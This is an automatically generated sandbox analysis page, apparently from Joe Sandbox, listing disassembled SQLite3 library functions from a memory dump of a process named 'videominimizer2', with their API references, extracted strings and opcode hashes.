Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_log
String ID: ATTACH '' AS vacuum_db;$ATTACH ':memory:' AS vacuum_db;$BEGIN;$INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)$PRAGMA vacuum_db.synchronous=OFF$SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %' $SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0$SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'$SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence' $SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';$SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
API String ID: 632333372-52344843
Opcode ID: d52540ff3cd5a889f8fcb2175177c5c293f6bf3e96b3409faf11301466b535e5
Instruction ID: 17dae18cb22bd420f764556e48f7e631e7f528851c991f2db59136dec61311d4
Opcode Fuzzy Hash: d52540ff3cd5a889f8fcb2175177c5c293f6bf3e96b3409faf11301466b535e5
Instruction Fuzzy Hash: 1202F6B0A046299BDB2ACF18C88179EB7FABF65304F1081D9E858AB355D771DE81CF41

Function 609602C8 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 266COMMON

Download Yara Rule

APIs

Part of subcall function 609296D1: sqlite3_value_bytes.SQLITE3 ref: 609296F3
Part of subcall function 609296D1: sqlite3_mprintf.SQLITE3 ref: 60929708
Part of subcall function 609296D1: sqlite3_free.SQLITE3 ref: 6092971B

Part of subcall function 6095FFB2: sqlite3_bind_int64.SQLITE3 ref: 6095FFFA
Part of subcall function 6095FFB2: sqlite3_step.SQLITE3 ref: 60960009
Part of subcall function 6095FFB2: sqlite3_reset.SQLITE3 ref: 60960019
Part of subcall function 6095FFB2: sqlite3_result_error_code.SQLITE3 ref: 60960043

sqlite3_malloc.SQLITE3 ref: 60960384
sqlite3_free.SQLITE3 ref: 609605EA
sqlite3_result_error_code.SQLITE3 ref: 6096060D
sqlite3_free.SQLITE3 ref: 60960618
sqlite3_result_text.SQLITE3 ref: 6096063C

Strings

offsets, xrefs: 609602DF

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_free$sqlite3_result_error_code$sqlite3_bind_int64sqlite3_mallocsqlite3_mprintfsqlite3_resetsqlite3_result_textsqlite3_stepsqlite3_value_bytes
String ID: offsets
API String ID: 463808202-2642679573
Opcode ID: 496dcd0dbd0e24e84f3ae9a4f9495b5d667a7098f4014ef95464c797b1727b83
Instruction ID: 1101d6838161b799219a4b3d5732631e197d31251dd2d8b91c34f261bd2faa79
Opcode Fuzzy Hash: 496dcd0dbd0e24e84f3ae9a4f9495b5d667a7098f4014ef95464c797b1727b83
Instruction Fuzzy Hash: 72C1D374A183198FDB14CF59C580B8EBBF2BFA8314F2085A9E849AB354D734D985CF52

Function 6091A3AA Relevance: 16.7, APIs: 11, Instructions: 175COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 6091A3C1
sqlite3_value_bytes.SQLITE3 ref: 6091A3D6
sqlite3_value_text.SQLITE3 ref: 6091A3E4
sqlite3_value_bytes.SQLITE3 ref: 6091A416
sqlite3_value_text.SQLITE3 ref: 6091A424
sqlite3_value_bytes.SQLITE3 ref: 6091A43A
sqlite3_result_text.SQLITE3 ref: 6091A5A2

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_value_bytessqlite3_value_text$sqlite3_result_text
String ID:
API String ID: 2903785150-0
Opcode ID: 408a6008a3f19a662094ad197d730d6af4ceeedc2d56196c0f88669f9a2ea12f
Instruction ID: 050d84d3da0bd462ad4a4a15df4a38950001fc66f1de33c81d7c2c3a6f7146e7
Opcode Fuzzy Hash: 408a6008a3f19a662094ad197d730d6af4ceeedc2d56196c0f88669f9a2ea12f
Instruction Fuzzy Hash: 8971D074E086599FCF00DFA8C88069DBBF2BF59314F1485AAE855AB304E734EC85CB91

Function 6092854D Relevance: 15.4, APIs: 10, Instructions: 432COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 6092861F
sqlite3_free.SQLITE3 ref: 6092878D

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_freesqlite3_malloc
String ID:
API String ID: 423083942-0
Opcode ID: 039a1925b88827ab71129b12bf0a0cfd7bb9a75e2f5fb5313a60c0869b9e4a18
Instruction ID: dba10035f3c017a022ff92dc0406edc4c972eb6647695f7afdbed5011b3e14eb
Opcode Fuzzy Hash: 039a1925b88827ab71129b12bf0a0cfd7bb9a75e2f5fb5313a60c0869b9e4a18
Instruction Fuzzy Hash: 9112E3B4A15218CFCB18CF98D480A9EBBF6BF98304F24855AD855AB319D774EC42CF90

Function 60912453 Relevance: 15.2, APIs: 10, Instructions: 247COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 609124D1
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091264D
sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 60912662
sqlite3_malloc.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091273E
sqlite3_free.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 60912753
sqlite3_os_init.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 60912758
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 60912803
sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091280E
sqlite3_mutex_free.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091282A
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091283F

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_freesqlite3_mallocsqlite3_mutex_freesqlite3_os_init
String ID:
API String ID: 3556715608-0
Opcode ID: 7a5b012c4fe40a1866ea25e0c9ef8651b072e840c3be51a8f23ca71a75eb633f
Instruction ID: 37d7613b282c24208f37f95ee69ae3eaf9c0527d79975c213f2f38643f7f707f
Opcode Fuzzy Hash: 7a5b012c4fe40a1866ea25e0c9ef8651b072e840c3be51a8f23ca71a75eb633f
Instruction Fuzzy Hash: FEA14A71A2C215CBEB009F69CC843257FE7B7A7318F10816DD415AB2A0E7B9DC95EB11

Function 6095F5D9 Relevance: 15.1, APIs: 10, Instructions: 121COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 6095F645
sqlite3_exec.SQLITE3 ref: 6095F686

Part of subcall function 6094CBB8: sqlite3_log.SQLITE3 ref: 6094CBF8

sqlite3_free_table.SQLITE3 ref: 6095F6A0
sqlite3_mprintf.SQLITE3 ref: 6095F6C7

Part of subcall function 609296AA: sqlite3_initialize.SQLITE3 ref: 609296B0
Part of subcall function 609296AA: sqlite3_vmprintf.SQLITE3 ref: 609296CA

sqlite3_free.SQLITE3 ref: 6095F6B4

Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80

sqlite3_free.SQLITE3 ref: 6095F6D4
sqlite3_free.SQLITE3 ref: 6095F6ED
sqlite3_free_table.SQLITE3 ref: 6095F6FF
sqlite3_realloc.SQLITE3 ref: 6095F71B
sqlite3_free_table.SQLITE3 ref: 6095F72D

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_freesqlite3_free_table$sqlite3_execsqlite3_initializesqlite3_logsqlite3_mallocsqlite3_mprintfsqlite3_mutex_entersqlite3_reallocsqlite3_vmprintf
String ID:
API String ID: 1866449048-0
Opcode ID: 2addae8d4502475aa330d0fbe12d9077f3fed0f055932ab6dac269a256a03500
Instruction ID: 9ac78cbffd0e0cf27e5d0fdbf17c3a3d034f00011a14f89e76d08e502163788c
Opcode Fuzzy Hash: 2addae8d4502475aa330d0fbe12d9077f3fed0f055932ab6dac269a256a03500
Instruction Fuzzy Hash: 8751F1B49467099FDB01DF69D59178EBBF6FF68318F104429E884AB300D379D894CB91

Function 6091C159 Relevance: 14.0, Strings: 11, Instructions: 290COMMON

Download Yara Rule

Strings

rowid, xrefs: 6091C317, 6091C3C1, 6091C400
AND , xrefs: 6091C363
0, xrefs: 6091C4E4
SEARCH, xrefs: 6091C1A7, 6091C1D1
)><, xrefs: 6091C392, 6091C434
COVERING , xrefs: 6091C45B
, xrefs: 6091C4F8
%s USING %sINDEX %s%s, xrefs: 6091C460
SCAN, xrefs: 6091C1C7
%s USING AUTOMATIC %sINDEX%.0s%s, xrefs: 6091C46E
ANY(, xrefs: 6091C375

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID:
String ID: $ AND $%s USING %sINDEX %s%s$%s USING AUTOMATIC %sINDEX%.0s%s$)><$0$ANY($COVERING $SCAN$SEARCH$rowid
API String ID: 0-780898
Opcode ID: d1d17e5dd7c74eae3224551f6f3ab351f201226dcaab78a09df61ec6b72ac00d
Instruction ID: 1b008e11d07f16b9462ef115b46fd1892196ed4c5360d6a6f9a636b6bab85f9b
Opcode Fuzzy Hash: d1d17e5dd7c74eae3224551f6f3ab351f201226dcaab78a09df61ec6b72ac00d
Instruction Fuzzy Hash: 46D109B0A087099FD714CF99C19079DBBF2BFA8308F10886AE495AB355D774D982CF81

Function 609061F1 Relevance: 13.9, Strings: 11, Instructions: 114COMMON

Download Yara Rule

Strings

aolf, xrefs: 6090626D
buod, xrefs: 609062B9
txet, xrefs: 60906237
aolf, xrefs: 609062B0
buod, xrefs: 60906279
laer, xrefs: 609062A7
bolc, xrefs: 6090622F
laer, xrefs: 60906261
bolb, xrefs: 6090623F
rahc, xrefs: 60906227
tni, xrefs: 6090628D

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID:
String ID: aolf$aolf$bolb$bolc$buod$buod$laer$laer$rahc$tni$txet
API String ID: 0-2604012851
Opcode ID: b472df4709d2161ac4da3e6dd873a69b8789eadb7617e1432b7f17fad04b9ea6
Instruction ID: a78f5df49eecf700eafad7d6eadd6707640e608d2d263d021760269e78388884
Opcode Fuzzy Hash: b472df4709d2161ac4da3e6dd873a69b8789eadb7617e1432b7f17fad04b9ea6
Instruction Fuzzy Hash: 2D31B171A891458ADB21891C85503EE7FBB9BE3344F28902EC8B2DB246C735CCD0C3A2

Function 60939559 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 426COMMON

Download Yara Rule

APIs

Part of subcall function 60904396: sqlite3_mutex_try.SQLITE3(?,?,?,60908235), ref: 609043B8

memcmp.MSVCRT ref: 60939694
memcmp.MSVCRT ref: 609396CA
memcmp.MSVCRT ref: 6093973E
sqlite3_log.SQLITE3 ref: 60939807
memcmp.MSVCRT ref: 609399B9

Strings

0, xrefs: 609399AA
SQLite format 3, xrefs: 609396BF

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: memcmp$sqlite3_logsqlite3_mutex_try
String ID: 0$SQLite format 3
API String ID: 3174206576-3388949527
Opcode ID: e2a376b1a29b79c4f9f51ec04e7584e9c4e5062bfe0a82991cc629df80cc0a0f
Instruction ID: d3cc03899c2fb96d27ccc41cf7ad58ff30b38a29db2c3208110d6cb2c70dce50
Opcode Fuzzy Hash: e2a376b1a29b79c4f9f51ec04e7584e9c4e5062bfe0a82991cc629df80cc0a0f
Instruction Fuzzy Hash: A3028BB0A082659BDB09CF68D48178ABBF7FFA5308F148269E8459B345DB74DC85CF81

Function 6095F004 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 6095F030
sqlite3_value_text.SQLITE3 ref: 6095F03E
sqlite3_stricmp.SQLITE3 ref: 6095F0B3
sqlite3_free.SQLITE3 ref: 6095F180

Part of subcall function 6092E279: strcmp.MSVCRT ref: 6092E2AE
Part of subcall function 6092E279: sqlite3_free.SQLITE3 ref: 6092E3A8

sqlite3_free.SQLITE3 ref: 6095F1BD

Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80

sqlite3_result_error_code.SQLITE3 ref: 6095F34E

Strings

|, xrefs: 6095F2F5

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_free$sqlite3_value_text$sqlite3_mutex_entersqlite3_result_error_codesqlite3_stricmpstrcmp
String ID: |
API String ID: 1576672187-2343686810
Opcode ID: 45796efa6547682f16092b9fa288c01422e20de86ab54653b6df12e990b05c38
Instruction ID: c4017fd8acd983bc841f22cdb0f4132ffe50c361176833da1127552c957ad2bb
Opcode Fuzzy Hash: 45796efa6547682f16092b9fa288c01422e20de86ab54653b6df12e990b05c38
Instruction Fuzzy Hash: B2B189B4A08308CBDB01CF69C491B9EBBF2BF68358F148968E854AB355D734EC55CB81

Function 60953679 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 219COMMON

Download Yara Rule

APIs

sqlite3_file_control.SQLITE3 ref: 609537BD
sqlite3_free.SQLITE3 ref: 60953842
sqlite3_free.SQLITE3 ref: 6095387C

Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80

sqlite3_stricmp.SQLITE3 ref: 609538D4

Strings

6, xrefs: 6095388C
timeout, xrefs: 609561A2

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_free$sqlite3_file_controlsqlite3_mutex_entersqlite3_stricmp
String ID: 6$timeout
API String ID: 2671017102-3660802998
Opcode ID: 8cffcba2199636318c40f61931f0f453c1b4c4e8a0677f5b7de6569c291e0b77
Instruction ID: da3e9078838fdf1f068eeacc94130b5fe058058c2a53432068b0843c8cdd1fdd
Opcode Fuzzy Hash: 8cffcba2199636318c40f61931f0f453c1b4c4e8a0677f5b7de6569c291e0b77
Instruction Fuzzy Hash: 6CA11270A083198BDB15CF6AC88079EBBF6BFA9304F10846DE8589B354D774D885CF41

Function 6095D3BB Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_snprintf.SQLITE3 ref: 6095D450

Part of subcall function 60917354: sqlite3_vsnprintf.SQLITE3 ref: 60917375

sqlite3_snprintf.SQLITE3 ref: 6095D4A1
sqlite3_snprintf.SQLITE3 ref: 6095D525

Strings

sqlite_master, xrefs: 6095D57F
)><, xrefs: 6095D3ED
sqlite_temp_master, xrefs: 6095D58A
, xrefs: 6095D410

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_snprintf$sqlite3_vsnprintf
String ID: $)><$sqlite_master$sqlite_temp_master
API String ID: 652164897-1572359634
Opcode ID: 7664a015b2dc01db37cf12657f922778db359f6c70a1ba93bfebbfbe3581116b
Instruction ID: a98725bc65f6cff0ffebef66634980575a39ba2d787d432de3c608a01e11e389
Opcode Fuzzy Hash: 7664a015b2dc01db37cf12657f922778db359f6c70a1ba93bfebbfbe3581116b
Instruction Fuzzy Hash: 5991F275E05219CFCB15CF98C48169DBBF2BFA9308F14845AE859AB314DB34ED46CB81

Function 6091B05A Relevance: 12.3, APIs: 8, Instructions: 349COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 6091B06E
sqlite3_result_error_toobig.SQLITE3 ref: 6091B178
sqlite3_result_error_nomem.SQLITE3 ref: 6091B197
sqlite3_result_text.SQLITE3 ref: 6091B5A3

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_result_error_nomemsqlite3_result_error_toobigsqlite3_result_textsqlite3_value_text
String ID:
API String ID: 2352520524-0
Opcode ID: bf61c68f4ce88464188c3b4ec21cbec410585f797eaf5b0aff599f1fc01aebfc
Instruction ID: 99f21b63ad5c9672efebb0dd762c853f70c7e366ddc85f9db9da2d733c13ec0c
Opcode Fuzzy Hash: bf61c68f4ce88464188c3b4ec21cbec410585f797eaf5b0aff599f1fc01aebfc
Instruction Fuzzy Hash: F9E16B71E4C2199BDB208F18C89039EBBF7AB65314F1584DAE8A857351D738DCC19F82

Function 6096A481 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 609296D1: sqlite3_value_bytes.SQLITE3 ref: 609296F3
Part of subcall function 609296D1: sqlite3_mprintf.SQLITE3 ref: 60929708
Part of subcall function 609296D1: sqlite3_free.SQLITE3 ref: 6092971B

sqlite3_exec.SQLITE3 ref: 6096A4D7

Part of subcall function 6094CBB8: sqlite3_log.SQLITE3 ref: 6094CBF8

sqlite3_result_text.SQLITE3 ref: 6096A5D3

Part of subcall function 6096A38C: sqlite3_bind_int.SQLITE3 ref: 6096A3DE
Part of subcall function 6096A38C: sqlite3_step.SQLITE3 ref: 6096A435
Part of subcall function 6096A38C: sqlite3_reset.SQLITE3 ref: 6096A445

sqlite3_exec.SQLITE3 ref: 6096A523
sqlite3_exec.SQLITE3 ref: 6096A554
sqlite3_exec.SQLITE3 ref: 6096A57F
sqlite3_result_error_code.SQLITE3 ref: 6096A5E1

Strings

optimize, xrefs: 6096A498

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_exec$sqlite3_bind_intsqlite3_freesqlite3_logsqlite3_mprintfsqlite3_resetsqlite3_result_error_codesqlite3_result_textsqlite3_stepsqlite3_value_bytes
String ID: optimize
API String ID: 3659050757-3797040228
Opcode ID: c770602c58b8b739d860714e2a7cbb539b0686760bc80d510edb2603001de118
Instruction ID: 653702cfcd2f061f0588c77de086fc27204f9fc351fc8b4992cba684a546c14d
Opcode Fuzzy Hash: c770602c58b8b739d860714e2a7cbb539b0686760bc80d510edb2603001de118
Instruction Fuzzy Hash: E831C3B11187119FE310DF24C49570FBBE6ABA1368F10C91DF9968B350E7B9D8459F82

Function 6096544A Relevance: 12.3, APIs: 8, Instructions: 317COMMON

Download Yara Rule

APIs

